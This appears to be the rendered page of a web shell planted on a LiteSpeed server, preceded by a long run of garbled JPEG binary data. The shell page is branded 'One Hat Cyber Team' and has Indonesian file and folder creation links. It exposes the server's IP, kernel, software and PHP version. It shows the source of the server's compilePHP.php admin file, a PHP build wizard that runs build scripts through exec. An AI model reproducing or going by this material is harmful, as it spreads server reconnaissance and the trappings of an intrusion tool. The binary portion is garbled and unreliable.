JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  بV7eudakt!Q ,*RGPQNČzŬb 5666p z"c83''Mq6Gitql@90.ۚAcN|li:9蠃p/^ZnLx84v;[#$ nh'c32o8Ɛ5KAv*_?nX?pyֆ̈́#z23F0Oe> {Gu.V (C'h/o%>x1X r:(>}{ycX8b]U:dOMsVAp'Z3'3E-ybj:>jOvUw#2cl~@gFCjțbz ^:-tdfj{XTh8aUM^+dAl"(KK m1$$ XKKqržoqg V FF#pG~:]֦!!Ң:pC+ AzӬ].t`='h_/} @L\,x㌼z԰+J-v+Y['8' % X q=[4Sj~4ݢ#dʂēRL5kX؊>l:t\baBA\Q38( ө:&$ 'L#d{qH>*5;jDo ˷YmԈ*[9*5tUf%3= GUW\'AR_W4_P պ -|4RFJZv0d[ˠzJ|PU8;鯌 'VcL,κ>*eb)f,0"j1 1v՘;bJ++COz7%>NU,=z\cEVK>Ic7} .jHn;^觱GHI HVǂO:ߊ{mSV?K|@ AiAT`2j 1~K8’$ ~]=9ឦG *9EMּm5Xf9Qĸ}i D%+t+;F: v:-&h_rD|! Ә;Zl븂':C&ҀaeKkm6 uT".}J&\ hciB2B+T7t?EPþЌmAF\lc2ЊABmE,cն\QJ]d5 `O Y@8?lx#KiI&Ri1fR2f1N%_g*TӨ??N:}+לɀh٭qL,ʈBrcuBmz ̢TV^ 뙏8' ufUX3㓏>NG:/;Hp饕B1K /%iɫ VQ%:_ -1oL?Roa\i^F|W*Na)P X#y㯨z+Cح\вjirm*dWҡQbBȨi'%NEb?'[h=`OiU϶u nR}GW4fVJmiR~J|l%m'%"LW V27NsXb?_={s}ij4Ý=SNjxFV"ԎI(E)]ӝЖm[4 m`5-7Wf󪥎bZKa#Vb%KY5T$y`46̼p C7HM'l{Oi +Pw~j,S5T4(FԨ;A`*HJTPgt(6/cg5U1@Qb8Y!rBzOQKF+6v%=~XDPpWc_-:߈#c坣CW1:^Q 06Ӭq@ Dj$ UW$?9F\cSM5=2>hב\,()JBk; J#j徻W(p=oQD #UMhU*Fc ?N=nF5Ӑ12w05Z뀩4ڣ霅uC1y%nJ8Ԑ*crR 9W=H9,A׻,.ZFb QEGVNs, q';OMmbtNVqOw*֙kPѬ؈XJIӯEWok+R{%j; Yx 7&&,LԜYbw"lI(*`۹F AS- #$413)Qpڤ3RxOJ$cP]viuq {kyN.- B,@󪳪ڸAor%X0UNb9 򍕑7)*233|Rnb@q|EUý$!7&["XOy ~ƓtADhP]mG파9p=ԜZ]ӭሎOeyq !bI GU:5~FoL ST[е$]$g*w]!;m@ޠ&IUڬ{҄բ-.SmҒ` vU"oL;'5s"W)@äL1i}^Y5$+Pv0o HU @ȓsQM)?M\4Q $2;g WJ/NwFJGD: y όMfW!QUZ%azҳDK_XhM^rԝ^!d'<#ﴛO{/F?+$ Y' wg'$ljGAH7l4xѶc}I*esg~;ͤt@B2iB'9C a8fTR: %NO@ m3sv w .@濾 ,FYrT0mUW_v>>d[A6ڊx:YTLHvӺ!nSD}>[mET0_,'C]pjVᅷPDZ[-V0`>}ܟpmֻ2O6O*ݹXHSN(J /+1՟#(P*gEO#w&j6?;ڡ)+U]l\/{莄*I/9<'$'#'yt/&-\\WPL`/p9qa'e¨E] fAAEYnGtm,ϮwXT>AaN#FjŵjQFdq^<H?yJ܃2*3 T4ЧH**W;(ꭽ¾Pf=eyA4FJ6{e]JqOCf#3SJf iMM\ iT$rG8$9>2:M)Q#NKe&"E8.z<mHk?#t˒A]; G0H:f!i! j{1m}o7u;$99Ӱ\ncz:zALq޶wyKT<4X,'!Y;Ͱ6q GM~_~܂}t>(zl}:r L9 fe}.-R*<`c6oܛ=prҽGB)nQ%)s*&i΍%—Zb{m[NNkbwBw Q*dF HP iܛ; aV68j}\eIGI'͔B;yA :^bn-m#@S6ˎr ;~cmƻgU:X6G%[gc{]c4)fpsgY˅>*"1}2<175)]V5)kdkM~`΂:{4nGPTTb   뎱϶w FFᓂG8>zF_H9_rDl:ҶH5Z!Bj.yk}erb:SOT]!ǎ?n:HεZsyztn[7NZ#UQO$.J#]Cr#YX9c<'$z 9 .$$PnDSn 2u5X g\ ?|Aᬰⶵ >>bE)Cb-ruMc׺*,\)`^m ge\k.۫8گoK1gWMpU޻zI=EErz:#6--/Wm\z8מ0x tA_c?Ծc^MژIMyO>l0ċ}t7[\ʲ9̜m_a[姯rְjP\kx1'CdmvF70e+m-]a?ݝKuSMUm 8f Yb!)2Z.UD \~:ܽ8zR̪Kcbs&ߦ1$, w\gc3F$iU#<`:I4{w.2aQ$EXNo?Gm NN rE$#Jn҉!AH'zePzRog8u(tJP߁Z.pÐ͢Aռ65Xsyvm 6RW7W;|0 >OүG@ٳ<>omԼ()kZJlK,F 4)snOQ{u㌏= Ao,ծ?eKBzG 6e6 f|CU _4C[j͕M8,%emM8\ cv COwTGi _94BDf%'ns8MPc&-y"8R_j 3a+z+N 9QlDQ40E VۋrH2I_YO',:뿉WNHvﵐ0B}na*E zUbN#0e"f.Q H5"-HVn=+ # Eiy- v8=g`o[ 鼛2.D^QeB ؅qϿRC~ B+Jۍ8 4*ӖΝ1R BI\ 1[0 I9y)Y " 7]6qg\ vP  s= Ѭ֕)פE< c`ϷU9W,: ?y1hsU(T ge/룮JA]|4aZVAIeIhBI!l$3![qHnw\7R{oM/ִ>5& gwjFE dc@K:V&W/k+=Yk[ @fU5zzmFȖH,[ n-dc wd[z"g4ϘRr0`B8_; #$^Zo5KZYKj GY%s"!a[9I2TF-w#a]˒Itٮei_FpVЧ૱W3eCi7 "}HApG>h֝5i T٧- '`dX1AF$$ޙ_Z]ڷTC Uy JGO} >A"5a> ZUR -Z\9 jrWݖQRݳ*ļ]$ڵXq=/w z\II#{ӭl^;F_R쵎[ָ[gKKͰoQ )W녕іs*kuzŨQde`WU_KLE~"g r<2GyއL(-VY -Z(IU0 |\;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ One Hat Cyber Team
  • Your IP: 216.73.216.182
  • Server IP: 172.67.131.134
  • Server: Linux vmi1569040.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
  • Server Software: LiteSpeed
  • PHP Version: 8.1.28
  • Buat File | Buat Folder
View File Name : compilePHP.php
\n"; return $buf; } private function input_checkbox($name, $value, $label) { $buf = '
\n"; return $buf; } public function PrintPage() { echo $this->step_indicator(); switch ($this->check->GetNextStep()) { case 1: return $this->print_step_1(); case 2: return $this->print_step_2(); case 3: return $this->print_step_3(); case 4: return $this->print_step_4(); default: echo UIBase::error_divmesg("Invalid entrance"); } } function print_step_1() { $buf = $this->form_start(); if ( isset($this->check->pass_val['err'])) { $buf .= UIBase::error_divmesg($this->check->pass_val['err']); } $phpversion = BuildConfig::GetVersion(BuildConfig::PHP_VERSION); $select = $this->input_select('phpversel', $phpversion); $note = DMsg::ALbl('buildphp_updatever') . '/usr/local/lsws/admin/html/lib/util/build_php/BuildConfig.php'; $buf .= $this->form_group(DMsg::ALbl('buildphp_phpver'), true, $select, '', $note); $buf .= $this->form_end(); echo $buf; } function print_step_2() { $options = NULL; $saved_options = NULL; $default_options = NULL; $cur_step = $this->check->GetCurrentStep(); $pass_val = $this->check->pass_val; if ($cur_step == 1) { $php_version = $pass_val['php_version']; $options = new BuildOptions($php_version); $options->setDefaultOptions(); $default_options = $options; } elseif ($cur_step == 2) { $options = $pass_val['input_options']; $php_version = $options->GetValue('PHPVersion'); $default_options = new BuildOptions($php_version); $default_options->setDefaultOptions(); } elseif ($cur_step == 3) { $php_version = $pass_val['php_version']; $options = new BuildOptions($php_version); $default_options = new BuildOptions($php_version); $default_options->setDefaultOptions(); } if ($options == NULL) return "NULL options\n"; $supported = $this->check->GetModuleSupport($php_version); $saved_options = $options->getSavedOptions(); if ($saved_options != NULL && $cur_step == 3) { $options = $saved_options; } $buf = $this->form_start(); if ( isset($pass_val['err'])) { $buf .= UIBase::error_divmesg(DMsg::ALbl('note_inputerr')); } $input = 'gen_loadconf_onclick('IMPORT') : 'disabled') . '>   gen_loadconf_onclick('DEFAULT') . '>'; $buf .= $this->form_group(DMsg::ALbl('buildphp_loadconf'), false, $input); $input = $this->input_text('path_env', $options->GetValue('ExtraPathEnv')); $err = isset($pass_val['err']['path_env'])? $pass_val['err']['path_env']:''; $tip = DMsg::GetAttrTip('extrapathenv')->Render(); $buf .= $this->form_group(DMsg::ALbl('buildphp_extrapathenv'), false, $input, $tip, '', $err); $input = $this->input_text('installPath', $options->GetValue('InstallPath')); $err = isset($pass_val['err']['installPath'])? $pass_val['err']['installPath']:''; $tip = DMsg::GetAttrTip('installpathprefix')->Render(); $buf .= $this->form_group(DMsg::ALbl('buildphp_installpathprefix'), true, $input, $tip, '', $err); $input = $this->input_text('compilerFlags', $options->GetValue('CompilerFlags')); $err = isset($pass_val['err']['compilerFlags'])? $pass_val['err']['compilerFlags']:''; $tip = DMsg::GetAttrTip('compilerflags')->Render(); $buf .= $this->form_group(DMsg::ALbl('buildphp_compilerflags'), false, $input, $tip, '', $err); $input = $this->input_textarea('configureParams', $options->GetValue('ConfigParam'), 6, 'soft'); $err = isset($pass_val['err']['configureParams'])? $pass_val['err']['configureParams']:''; $tip = DMsg::GetAttrTip('configureparams')->Render(); $buf .= $this->form_group(DMsg::ALbl('buildphp_confparam'), true, $input, $tip, '', $err); $input = ''; if ($supported['mailheader']) { $input = $this->input_checkbox('addonMailHeader', $options->GetValue('AddOnMailHeader'), '' . DMsg::ALbl('buildphp_mailheader1') . ' (' . DMsg::ALbl('buildphp_mailheader2') .')'); } if ($supported['suhosin']) { $input .= $this->input_checkbox('addonSuhosin', $options->GetValue('AddOnSuhosin'), 'Suhosin ' . DMsg::ALbl('buildphp_suhosin')); } if ($supported['memcache']) { $input .= $this->input_checkbox('addonMemCache', $options->GetValue('AddOnMemCache'), 'memcache (memcached extension) V' . BuildConfig::GetVersion(BuildConfig::MEMCACHE_VERSION)); } if ($supported['memcache7']) { $input .= $this->input_checkbox('addonMemCache7', $options->GetValue('AddOnMemCache7'), 'memcache (memcached extension) V' . BuildConfig::GetVersion(BuildConfig::MEMCACHE7_VERSION)); } if ($supported['memcache8']) { $input .= $this->input_checkbox('addonMemCache8', $options->GetValue('AddOnMemCache8'), 'memcache (memcached extension) V' . BuildConfig::GetVersion(BuildConfig::MEMCACHE8_VERSION)); } if ($supported['memcachd']) { $input .= $this->input_checkbox('addonMemCachd', $options->GetValue('AddOnMemCachd'), 'memcached (PHP extension for interfacing with memcached via libmemcached library) V' . BuildConfig::GetVersion(BuildConfig::MEMCACHED_VERSION)); } if ($supported['memcachd7']) { $input .= $this->input_checkbox('addonMemCachd7', $options->GetValue('AddOnMemCachd7'), 'memcached (PHP extension for interfacing with memcached via libmemcached library) V' . BuildConfig::GetVersion(BuildConfig::MEMCACHED7_VERSION)); } $note = DMsg::ALbl('buildphp_updatever') . ' /usr/local/lsws/admin/html/lib/util/build_php/BuildConfig.php'; $buf .= $this->form_group(DMsg::ALbl('buildphp_addonmodules'), false, $input, '', $note); $buf .= $this->form_end(); echo $buf; } function print_step_3() { $options = $this->check->pass_val['build_options']; if ($options == NULL) // illegal entry return; $buf = $this->form_start(); $err = ''; $optionsaved = ''; $tool = new BuildTool($options); if (!$tool || !$tool->GenerateScript($err, $optionsaved)) { $buf .= UIBase::error_divmesg(DMsg::UIStr('buildphp_failgenscript') . " $err"); } else { if ($optionsaved) $buf .= UIBase::info_divmesg(DMsg::UIStr('buildphp_confsaved')); else $buf .= UIBase::error_divmesg(DMsg::UIStr('buildphp_failsaveconf')); $_SESSION['progress_file'] = $tool->progress_file; $_SESSION['log_file'] = $tool->log_file; $cmd = 'bash -c "exec ' . $tool->build_prepare_script . ' 1> ' . $tool->log_file . ' 2>&1" &'; exec($cmd); $buf .= UIBase::warn_divmesg(DMsg::UIStr('buildphp_nobrowserrefresh')); $buf .= ''; $buf .= ''; $buf .= '
' . DMsg::ALbl('buildphp_mainstatus') . ':

					
' . DMsg::ALbl('buildphp_detaillog') . ':
' . $cmd . '
'; } $buf .= $this->form_end(); echo $buf; } function print_step_4() { $manual_script = $this->check->pass_val['manual_script']; if ($manual_script == NULL) // illegal entry return; $buf = $this->form_start(); $ver = $this->check->pass_val['php_version']; $binname = 'lsphp-' . $ver; $repl = array('%%server_root%%' => SERVER_ROOT, '%%binname%%' => $binname, '%%phpver%%' => $ver[0]); $notes = '
  • ' . DMsg::UIStr('buildphp_binarylocnote', $repl) . '
  • '; if ( $this->check->pass_val['extentions'] != '') { $notes1 = BuildTool::getExtensionNotes($this->check->pass_val['extentions']); $notes .= "\n" . $notes1 . '
'; } $buf .= UIBase::info_divmesg($notes); $echo_cmd = 'echo "For security reason, please log in and manually run the pre-generated script to continue."'; exec($echo_cmd . ' > ' . $this->check->pass_val['log_file']); exec($echo_cmd . ' > ' . $this->check->pass_val['progress_file']); $repl = array('%%manual_script%%' => $manual_script); $buf .= UIBase::warn_divmesg(DMsg::UIStr('buildphp_manualrunnotice', $repl)); $buf .= '
' . DMsg::ALbl('buildphp_mainstatus') . ':

				
' . DMsg::ALbl('buildphp_detaillog') . ':

						
'; $buf .= $this->form_end(); echo $buf; } } echo UI::content_header('fa-list', DMsg::ALbl('menu_tools'), DMsg::ALbl('menu_compilephp')); $ui = new CompilePHPUI(); $ui->PrintPage(); ?>